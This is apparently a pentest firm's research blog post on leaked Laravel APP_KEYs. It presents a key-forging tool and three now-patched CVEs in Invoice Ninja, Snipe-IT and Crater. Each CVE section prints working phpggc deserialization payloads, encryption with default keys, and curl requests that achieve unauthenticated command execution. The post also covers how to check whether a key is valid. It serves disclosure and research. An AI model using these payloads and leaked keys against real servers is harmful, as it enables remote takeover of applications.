Laravel: APP_KEY leakage analysis

Rédigé par Rémi Matasse - 10/07/2025 - dans Outils , Pentest - Téléchargement

In November 2024, Mickaël Benassouli and I talked about vulnerability patterns based on Laravel encryption at Grehack. Although, each discovered vulnerability requires access to a Laravel secret: the APP_KEY, we emphasized the security risks involved and highlighted how this secret is often insecurely exposed in public projects.

The story did not stop there, we gathered a huge chunk of APP_KEY and developed a new tool to identify vulnerable patterns from a set of publicly exposed Laravel applications.

This blog post sums up our journey, from identifying vulnerabilities related to Laravel encryption to scaling this knowledge for a massive internet facing applications compromise. We will talk about the methodology we used in order to collect data over the internet as well as how we analyzed it to get the most relevant results.

Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus

Introduction

Laravel is an open-source web framework based on PHP, designed to develop web applications in a structured manner. It offers features such as database management, authentication, and the use of the classical design pattern Model View Controller, greatly facilitating team development of complex applications.

Thanks to its versatility and a very active global community, Laravel has established itself as one of the most widely used PHP frameworks. It currently has over a million publicly exposed instances on the internet1.

However, some designs in place on Laravel's internal development components pose risks, particularly regarding the use of the Encrypter2 class, which manages encryption and decryption based on the application's APP_KEY secret.

Although critical vulnerabilities in this component have already shaken Laravel's security in the past, the root of the problem has never been truly fixed. Therefore, we will discuss three vulnerabilities in public projects identified during our research, as well as the models exploited to demonstrate that this security issue remains relevant.

Even though knowledge of this secret is necessary to exploit the vulnerabilities presented in this blog post, unfortunately, those secrets remain unchanged in many cases. This is why we will also address an analysis conducted using open sources to determine the robustness of the secrets used in publicly exposed applications on the internet.

How the APP_KEY is used in Laravel

Laravel simplifies encryption through the encrypt function, relying on the OpenSSL library to ensure a high level of security. This function comes from the Illuminate\Encryption package.

The packages in the Illuminate suite are modular components of the Laravel framework that provide specific functionalities, such as routing, authentication, and in this case, encryption.

Basic usage of the encrypt and decrypt functions

Laravel's encryption uses the AES-256 algorithm in CBC mode with a randomly generated initialization vector. The APP_KEY secret is used as the secret key.

The encrypt and decrypt functions are loaded by default in a Laravel project, which means it is not necessary to load the module via use Illuminate\Encryption\Encrypter3 to call them.

namespace Illuminate\Encryption;

class Encrypter implements EncrypterContract, StringEncrypter
{

public function encrypt(#[\SensitiveParameter] $value, $serialize = true)
    {
        $iv = random_bytes(openssl_cipher_iv_length(strtolower($this->cipher)));

        $value = \openssl_encrypt(
            $serialize ? serialize($value) : $value,
            strtolower($this->cipher), $this->key, 0, $iv, $tag
        );
[...]

        $iv = base64_encode($iv);
        $tag = base64_encode($tag ?? '');

        $mac = self::$supportedCiphers[strtolower($this->cipher)]['aead']
            ? '' // For AEAD-algorithms, the tag / MAC is returned by openssl_encrypt...
            : $this->hash($iv, $value, $this->key);

        $json = json_encode(compact('iv', 'value', 'mac', 'tag'), JSON_UNESCAPED_SLASHES);

[...]

        return base64_encode($json);
    }

The following code would allow a user to encrypt the string Hello World!:

$originalData = 'Hello world!';
$encryptedData = encrypt($originalData);

The value of the variable $encryptedData in the previous example is a base64 string containing a JSON with four values: iv, value, mac, and tag.

$ echo 'eyJpdiI6Iks0ZFloT0dZc0M5UGFnSTZNRENjMEE9PSIsInZhbHVlIjoiZTlWb1lERll4RXh3RkorY0ZadStxVE9ZcGJPdDIvRW96QkVtSHVDODY1TT0iLCJ
tYWMiOiJkYjYwYTRkMmNjMTg3NGFjOWE2ZjU0ZGRkN2JhZjkzYjVjZGIwNzI1MzBjYmI2N2I4YzU2YTliMTAxNTI3YzBiIiwidGFnIjoiIn0=' | base64 -d | jq
{
  "iv": "K4dYhOGYsC9PagI6MDCc0A==",
  "value": "e9VoYDFYxExwFJ+cFZu+qTOYpbOt2/EozBEmHuC865M=",
  "mac": "db60a4d2cc1874ac9a6f54ddd7baf93b5cdb072530cbb67b8c56a9b101527c0b",
  "tag": ""
}
  • iv: A randomly generated initialization vector.
  • value: The value encrypted using the initialization vector and the APP_KEY.
  • mac: HMAC generated from the initialization vector and the value, using the APP_KEY as the secret key. This value was added to thwart padding oracle attacks.
  • tag: The tag value is only used in cases where AES is used in GCM mode.

In summary, data encrypted by Laravel is manipulated as a base64-encoded JSON containing a value encrypted in AES CBC mode using the APP_KEY. This data is often used as an integrity validator for transmitting or storing sensitive data.

Exposure to deserialization attacks

A PHP deserialization attack exploits the unserialize function, which converts a string into a PHP object. If an attacker can manipulate this string, they can create malicious objects that, when deserialized, execute arbitrary code or alter the application's behavior. Not all objects are necessarily exploitable; it depends on how the classes are defined and on magic methods like __wakeup() or __destruct(), which can be called during deserialization.

The exploitation of an unserialize function is therefore highly dependent on the libraries loaded by the PHP project and may not necessarily be exploitable.

To determine if a framework or library contains exploitable deserialization strings, PHPGGC4, can be used. This tool, developed by Charles Fol, contains a list of affected projects and versions.

The script test-gc-compatibility.py5, integrated into PHPGGC, allows testing the versions of a library containing usable gadgets to precisely determine if they are still usable. However, as shown in the following screenshot, Laravel contains many usable chains, even in its latest versions.

test-gc-compatibility on Laravel
List of Laravel gadget chains that can be used with phpggc to obtain Remote Command Execution via deserialization.

Vulnerabilities discovered during the process

We will now dive into ways to exploit weaknesses related to the decrypt7 function in Laravel environments.

namespace Illuminate\Encryption;

class Encrypter implements EncrypterContract, StringEncrypter
{

public function decrypt($payload, $unserialize = true)
    {
        $payload = $this->getJsonPayload($payload);

        $iv = base64_decode($payload['iv']);

        $decrypted = \openssl_decrypt( $payload['value'], $this->cipher, $this->key, 0, $iv );
    
        [...]
    
        return $unserialize ? unserialize($decrypted) : $decrypted;
    }

This function takes two parameters:

  • $payload: Corresponds to the string normally encrypted by the encrypt function.
  • $unserialize: A parameter that determines whether the decrypted string should be unserialized.

The issue here is straightforward: by default, a call to the decrypt function will consider the decrypted string as serialized data.

The variable used as the decryption key in the openssl_decrypt function is the APP_KEY. In summary, a user in possession of this secret will be able to re-encrypt data to carry out a deserialization attack and thus compromise the server hosting the Laravel application.

In order to automate the full process, we developed an open source tool: laravel-crypto-killer8.

logo_laravel_crypto_killer
Logo of Laravel Crypto Killer
./laravel_crypto_killer.py -h
usage: laravel_crypto_killer.py [-h] {encrypt,decrypt,bruteforce} ...

 ___                                _       ___                    _             __       _   _              
(O O)                              (_ )    ( O_`\                 ( )_          ( O)    _(_ )(_ )            
 | |      _ _ _ __  _ _ _   _   __  | |    | ( (_)_ __ _   _ _ _  | ,_)  _      |  |/')(_)| | | |   __  _ __ 
 | |    /'_` ( '__/'_` ( ) ( )/'__`\| |    | |  _( '__( ) ( ( '_`\| |  /'_`\    |  , < | || | | | /'__`( '__)
<  |__ ( (_| | | ( (_| | \_/ (  ___/| |   <  (_( | |  | (_) | (_) | |_( (_) )  <  | \`\| || | | |(  ___| |   
<_____/`\__,_(_) `\__,_`\___/`\____(___)  <_____/(_)  `\__, | ,__/`\__`\___/'  <__)  (_(_(___(___`\____(_)   
                                                     ( )_| | |                                             
                                                     `\___/(_)                                             
        This tool was firstly designed to craft payload targetting the Laravel decrypt() function from the package Illuminate\Encryption.
        
        It can also be used to decrypt any data encrypted via encrypt() or encryptString().

        The tool requires a valid APP_KEY to be used, you can also try to bruteforce them if you think there is a potential key reuse from a public project for example.

        Authors of the tool : @_remsio_, @Kainx42
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        

options:
  -h, --help            show this help message and exit

subcommands:
  You can use the option -h on each subcommand to get more info

  {encrypt,decrypt,bruteforce}
    encrypt             Encrypt mode
    decrypt             Decrypt mode
    bruteforce          Bruteforce potential values of APP_KEY. By default, all the values from the folder wordlists will be loaded.

During 2024, we discovered 3 vulnerabilities on public project using this tool, they are each linked to a vulnerability pattern targeting Laravel ciphers and leading to remote command execution.

It has to be noted that Invoice Ninja, Snipe-IT and Crater are deployed with a default .env.example file containing a default APP_KEY, which is likely to be used in production.

Vulnerable decrypt function call in Invoice Ninja9 (CVE-2024-5555510)

An attacker in possession of the APP_KEY is able to fully control a string passed on a pre-authenticated call to a decrypt function.

Indeed, the /route/{hash} route in the routes/web.php file, which was loaded in any Invoice Ninja project, allowed to reach a decrypt call:

Route::get('route/{hash}', function ($hash) {

    $route = '/';

    try {
        $route = decrypt($hash); 
    }
    catch (\Exception $e) { 
        abort(404);
    }

    return redirect($route);

})->middleware('throttle:404');

To generate a serialization payload designed to run the bash command id on a Laravel based server, the phpggc tool was used.

$ php8.2 phpggc Laravel/RCE13 system id -b -f
YToyOntpOjc7Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086MzU6IklsbHVtaW5hdGVcRGF0YWJhc2VcRGF0YWJhc2VNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjE2OiJkYXRhYmFzZS5kZWZhdWx0IjtzOjY6InN5c3RlbSI7czoyMDoiZGF0YWJhc2UuY29ubmVjdGlvbnMiO2E6MTp7czo2OiJzeXN0ZW0iO2E6MTp7aTowO3M6MjoiaWQiO319fX1zOjEzOiIAKgBleHRlbnNpb25zIjthOjE6e3M6Njoic3lzdGVtIjtzOjEyOiJhcnJheV9maWx0ZXIiO319fWk6NztpOjc7fQ==

Finally, to manipulate and exploit Laravel ciphers, the laravel-crypto-killer tool can be used. The chain generated from phpggc can be encrypted again in order to achieve remote command execution on the affected server, without prior access:

$ ./laravel_crypto_killer.py encrypt -k RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= -v $(php8.2 phpggc Laravel/RCE13 system id -b -f)
[+] Here is your laravel ciphered value, happy hacking mate!
eyJpdiI6ICJhbmE4ck1BVitqWUNjK0dNRi9uV0VnPT0iLCAidmFsdWUiOiAiYndlUTRyaDgyWGhDRFZ1dkxvbVlTcmpoWTR6cmRjTDc0QzRRcjBiVzhrQTU1N0hYS1NxUU9nOUJWbEFNbDVqTDFSNjVBMmpQMzg0b01KVm8vbEZxcHVodEIveE1kV2lOZWVDRWszRlE5T3l3OHhyemZHdWx6Q2Jxcm5Hb0NqdVJVamlZVkZJcDNIR21YeXVwWWVuNURXQjRldDluTG9BczR4SlJKTDV0VGliQ09CRmd2dTA3b0txRStWTEhUdmhCRGlTaEk3TkpRbTlOS2YraWlZUS9odURMOGtrVzh3S2w4NUtiUE9xN1A2ZktDVklMYkNCVnZkVXc2eW02RGY4QklzL3R1RTJkbHpud1drbE1BZ01mU2Zjejd2bDZWSTc4SmV6L1NOQlNlRXdwL1N0YXRnWDJaQzQwRUl5QXhrZzRPSnBzNktEa24zY3pZaXZLQ0ZXZ2NRNnhZaFFycm95cnZ4MjdUa1JsMFB1aTkyTzI1ZzhTbXlyTzV0eFg2dXQ5MkxGc2xWeUhtUFN5WHA4RlAxcGk5cVZWL0cvdCtKbHJLeWp0V3RZUVJSSmxHSXNGSFNJelh1N2t0WWplMExEQSIsICJtYWMiOiAiODhiOGI1MGQzZmQ5NTQwNjllYzUxNjVkM2Y2MjNlZDM5N2Y4YWZmZDRhMjMyMmY1YTQ0ZDhkYjQ3NDkzZDE2MCIsICJ0YWciOiAiIn0=

# Reusing the previous chain on invoiceninja
$ curl -s http://in5.localhost/route/eyJpdiI6[...]0= | head -n1
uid=1500(invoiceninja) gid=1500(invoiceninja) groups=1500(invoiceninja)

XSRF-TOKEN serialization in Snipe-IT11 (CVE-2024-4898712)

An attacker in possession of the APP_KEY is able to fully control a string passed to an unserialize function when a call to the decrypt($user_input) function from the Illuminate\Encryption package is made. This is the case for the XSRF-TOKEN cookie when the Passport::withCookieSerialization() option is enforced.

In order to generate a serialized payload designed to run the bash command id on a Laravel based server, phpggc was used.

$ php7.4 phpggc Laravel/RCE9 system id -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoyOiJpZCI7fX0=

In order to manipulate and exploit Laravel ciphers, the tool laravel-crypto-killer was used. The chain generated from phpggc can be encrypted again in order to achieve remote command execution on the affected server, without prior access:

$ ./laravel_crypto_killer.py encrypt -k 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= -v $(php7.4 phpggc Laravel/RCE9 system id -b)
eyJpdiI6ICJvck1SVWxyNDF6Lytaeks4a3NxU0tnPT0iLCAidmFsdWUiOiAiUkI0Z21sbCtZN1lJcWY2OS9HaHNjMDhteGNycGwvSStNQ2FaTDczdHhOTlpUUE5kVExCbkQybm5LRHp5SEtwYkRkeVVXcEZzWVpzMTNRbnJSSnFaaFdOVDczY1hsajFTMzFqNXZ1NFhYZGdjenFBT2s1LytiSURTbDQyU3JWNUMzM3lCRjZxZGhBWDVlMklYR1Y2c29FdnRRVUtvMkkxQkorYnltWGtFOHFUREwwTUU3TWRrWlRGR1FRdTkydE85b0JxeW5WRldOcUFieCtoYnM1UjREaDhBaGg5bzVhK3U1Q2o5OHkwRS80MlFVZmRPMW9SQm0rYVliMTRUTFZWTGc0TjhHK010SWpUclBpeURwT1Mxd3lSWTkvTlpZelcxVGs3Z2xTVTFBdXBvZ1RoSUEyckhaTTJ1TXBUTklZYiswV0NFTEZGa2padHkzUEovRER2Nzh5a2h3OXFKb0dRQ01mMVllMnVMUS8rdGh3N1JWWCtJazhWaEk0K0ROVkhYdWk1ekh2MUZzUGJFZTdkWCszQ1RvcDBkcktpTlBzdlVUVHVEMlRkWmN3ODRza1Y3WXNPSWU5RHdXbEswT1o1UCIsICJtYWMiOiAiNjA0ODE1NjQ1NWY2YWJmNGY5OWE2YTg3YzY0MzUxNDU0YmU0YzQwMDliM2NiMDJkYTg2ODZkNzNmMzJjMWEyZiIsICJ0YWciOiAiIn0=

# Reusing the previous base64 chain to trigger the remote command execution
$ curl -s -H "Cookie: XSRF-TOKEN=ey[...]0=" http://localhost:8000/login | head -n 1
uid=1000(docker) gid=50(staff) groups=50(staff)

Vulnerable SESSION_DRIVER cookie in Crater13 (CVE-2024-5555614)

An attacker in possession of the APP_KEY is able to fully control a string passed to an unserialize function when a call to the decrypt($user_input) function from the Illuminate\Encryption package is made. When the SESSION_DRIVER=cookie option is enforced in the .env file, the session will be stored in a cookie of 40 random base64 characters containing the encrypted serialized user object.

To exploit this vulnerability, this cookie should be retrieved. In the above HTTP response, it is named DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT. It has to be noted that these cookies are delivered to any unauthenticated user:

$ curl -I http://localhost/login
HTTP/1.1 200 OK
Server: nginx/1.17.10
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.1.29
Cache-Control: no-cache, private
Date: Tue, 03 Sep 2024 12:28:44 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6ImdOS2lwMEhyNDNja0UzK3pCWEcxMXc9PSIsInZhbHVlIjoiMU1jMWlrYnRhN2ZRUVVvUEFaZVpVcC9Nb0h2U2J1eHJBZFdKcmpqSlcyclBpV1Azb3NXUTBFbkN0T3o3OTlwMk9yM2xLejBMNlV0U2FDalNzL1lhZDRkRUZtZzc2aitwVm40eWNHbC9pakR5SHRmYmN2R1pPSGsxQ01sMEVkZnQiLCJtYWMiOiJmN2M3OTI3MjExNGU4NTNlOTZiMGFkNjZlZmQyOTg2MWUwZjY1MzAyMDQwMzk3ZDM1NWRiZmI2NWVjNjI0OWJhIiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax
Set-Cookie: DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax

In order to manipulate and exploit Laravel ciphers, the tool laravel-crypto-killer can be used. In the following example, the decrypt mode was used to retrieve the DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT cookie clear text value.

$ ./laravel_crypto_killer.py decrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D
[+] Unciphered value identified!
[*] Unciphered value
ae8213eefa7b10062a52485c7dcca8a5a937cc1c|{"data":"a:2:{s:6:\"_token\";s:40:\"X3BnPcQvhG1azDQ04mx3A79rt998EiRBQXINtD3Z\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1725452924}
[*] Base64 encoded unciphered version
b'YWU4MjEzZWVmYTdiMTAwNjJhNTI0ODVjN2RjY2E4YTVhOTM3Y2MxY3x7ImRhdGEiOiJhOjI6e3M6NjpcIl90b2tlblwiO3M6NDA6XCJYM0JuUGNRdmhHMWF6RFEwNG14M0E3OXJ0OTk4RWlSQlFYSU50RDNaXCI7czo2OlwiX2ZsYXNoXCI7YToyOntzOjM6XCJvbGRcIjthOjA6e31zOjM6XCJuZXdcIjthOjA6e319fSIsImV4cGlyZXMiOjE3MjU0NTI5MjR9BwcHBwcHBw=='
[+] Matched serialized data in results! It is time to exploit unserialization!

Once decrypted, the cookie value should match a hash followed by a JSON object containing PHP serialized data.

An exploitation payload designed to run the bash command id on the server was generated with phpggc. The hash value before the pipe (|) (here ae8213eefa7b10062a52485c7dcca8a5a937cc1c) should then be passed to the --session_cookie option to re-encrypt a valid Laravel cookie. The output of the phpggc command should also be passed to the -v option to encrypt the serialized payload inside a valid Laravel cookie.

$ php8.2 phpggc Laravel/RCE15 'system' 'id' -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0=

$ ./laravel_crypto_killer.py encrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0= -sc=ae8213eefa7b10062a52485c7dcca8a5a937cc1c
[+] Here is your laravel ciphered session cookie
eyJpdiI6ICJxaVNJNnBPejM0SGgzNllSeENKU3lnPT0iLCAidmFsdWUiOiAiblJJQm83R2l6eXRVekxmZGxGU0p2OFFqajZ5STNVai9FdThjZDVzb21ucCt0eVlhS1V5ZldwWnNQdWxiYzlNUkVWWFgweDBXYXBsb1NRTHUvOVBBRjl0UFdLZmszamFLMGVKZ2NXNUJSeXg0bWhLU3duaTVZMnN3cUZzeVZLbHBsNDluYWNySXhiZTU4d3l0dTk4cVE0bDl3NzV4NVVrNTExSmhoVVpHWDJoQXVOWFY0RHdUeWlpUUlJS0JhbEFYMUdDU2w0SlZjSndYNVQyVHd3cFRjaWhqcTA0S2ZNbXVUR1NBQTdpU2JSQVFleER3V0hCV1lJKzB5ZUNCN2NuM2hUa0JFV2lOZlZhSWJVaklLWXlNQnlxZ2swUkdOVG9PRHdhU2NSdmJ2RDMzYzU5RU4zbWoxanN4eUFGcnAvVWluRkw2TlFtQzJlR1FXQzA2eDB2a29oWVB6cUZUOFBST2YwK1F5bFBvUy9HMUduQVRLUEFWZ0hDV3Y2SC9TRDd1aXVXOXFWaFdYVktNeURweGR6b2t6NWxkOUYzRVZBNURuRXNtd2p4V1NWUXZFaHRpRVpGRURqWTd4T0lYTGI2Unk4QlZqQjJ6SVBZdWJoYjI3ZjNVdlNyM1ZXRHpFOWd3V1hIT3NSRC9VTlBFaFhyQWczdVFGUEp5RnZVcWRweWNSWVZyQVljYVNMV0JLQU5VWUpnMGRjSVRQbVZMVjZBQjdibEVpaHdBTTAvMlh2dURpSUFLZ016NHpueXpVdDl1TGN3amx1dllvd2NzaktZNU44UVVRUGllbXlSSjR1WXRJNG5VS1I0a1QzRWRCRTlWbnJtamF4Qmd1aFJnRmtIQWIraFZNWkNBNWpDY1VqS0xxaXdSdE9uRTFIOFh0dnZkazFsMU5zK1dqbnhRc0dUR3FQTUQwVzVwOTBGKzh6Ly9TbDJlYS9pM1RQdEI1cGg1cmNiL05UczZnQmorMkJZUDh1czgvclZKMjZnaXpaMk5wQWEvVUZTOWZuRVhuNlhJc3FOYXFoelNwQjB2OFZJbnhDZ1ZjdEkzd0RETU5WWUsrNVZGUVMySUdDZUdoYXpFQm9hRFJWR280UzBFSVRmcCIsICJtYWMiOiAiZGE5ZTMwMzczMDZjNmQ0MjQ3YzUzYzdlMzcwNzU5NjlmMTlhZDJmYmNhZmE3OWE5MGNlN2RlOTY2MjdjZGJlMCIsICJ0YWciOiAiIn0=

The resulting value is then placed in the original cookie DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT, along the laravel_session cookie and both are sent to the server to achieve remote command execution.

$ curl -s -H "Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJ[...]CJ0YWciOiAiIn0=" http://localhost/login | head -n1
uid=1000(crater-user) gid=1000(crater-user) groups=1000(crater-user),0(root),33(www-data)

Vulnerability summary

We have highlighted the fact that using the decrypt function in its current form can quickly lead to remote code execution vulnerabilities.

It has to be noted that all the previous vulnerabilities could be exploited pre-authentication as long as the default APP_KEY of the project was not changed by the end users themselves. All the aforementioned vulnerabilities are now patched.

Public Laravel applications exposure

Previous public attacks based on an APP_KEY leakage

We were not the first ones to investigate this issue during 2024, as demonstrated by Androxgh0st15, one of the most recent attacks that exploited an APP_KEY leak, which emerged in January 2024. This malware was designed to scan the internet for Laravel applications, specifically targeting misconfigured .env files. Androxgh0st aimed to steal sensitive login data from these files, potentially allowing unauthorized access to various applications.

Upon successful credential retrieval, Androxgh0st leverages CVE-2018-15133, which is similar to the vulnerability described in Snipe-IT. This vulnerability allows attackers to gain pre authenticated remote command execution as long as they are in possession of the application's APP_KEY, potentially leading to significant security breaches.

However, the first step of this attack was to manually leak the APP_KEY before exploiting CVE-2018-15133. In the continuation of this blog post, we will see that several publicly exposed servers might still be vulnerable to this exploitation scenario, and that more APP_KEYs from publicly exposed projects are already leaked.

How to identify the APP_KEY of a Laravel application

There is a pre-authenticated way to know if an APP_KEY is valid on any Laravel application. Indeed, on a default Laravel installation, two cookies will always be set:

  • XSRF-TOKEN: used as a CSRF token.
  • laravel-session: used as a session token to authenticate the current session. However, the prefix before session might change depending on the application name.
# curl on a default Laravel installation
$ curl http://localhost/ -I
HTTP/1.1 200 OK
Host: localhost
Connection: close
X-Powered-By: PHP/8.3.22
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, private
Date: Mon, 23 Jun 2025 12:05:20 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6Ilord3hQZ3hJaUR6bFdvKy9pclZYMmc9PSIsInZhbHVlIjoiSTdBZ2tybVN5a0U4Y1VyVDFoNFhOL0g2aFNSZUY0c2NTZjROd2piQW82NDE5dXFUclFSNUVMS0hvS2k1ZHZpM2hOcUpqeDR0N0lnWHVObHA3VjJ3c2tiNHNoQnMxcHJVYzVOTzg0a1kxNVhhcXZMeHNqOWtWaGgydGZ5d1RTbHYiLCJtYWMiOiIyMDU2YzZkZTU2MmUxZmI3YWNlMjQwZGFiYzIzOGI1M2QxMDIyMGEyYzc3N2RlOTE2NWE4ZGI1YTE2N2RkYmI5IiwidGFnIjoiIn0%3D; expires=Mon, 23 Jun 2025 14:05:20 GMT; Max-Age=7200; path=/; samesite=lax
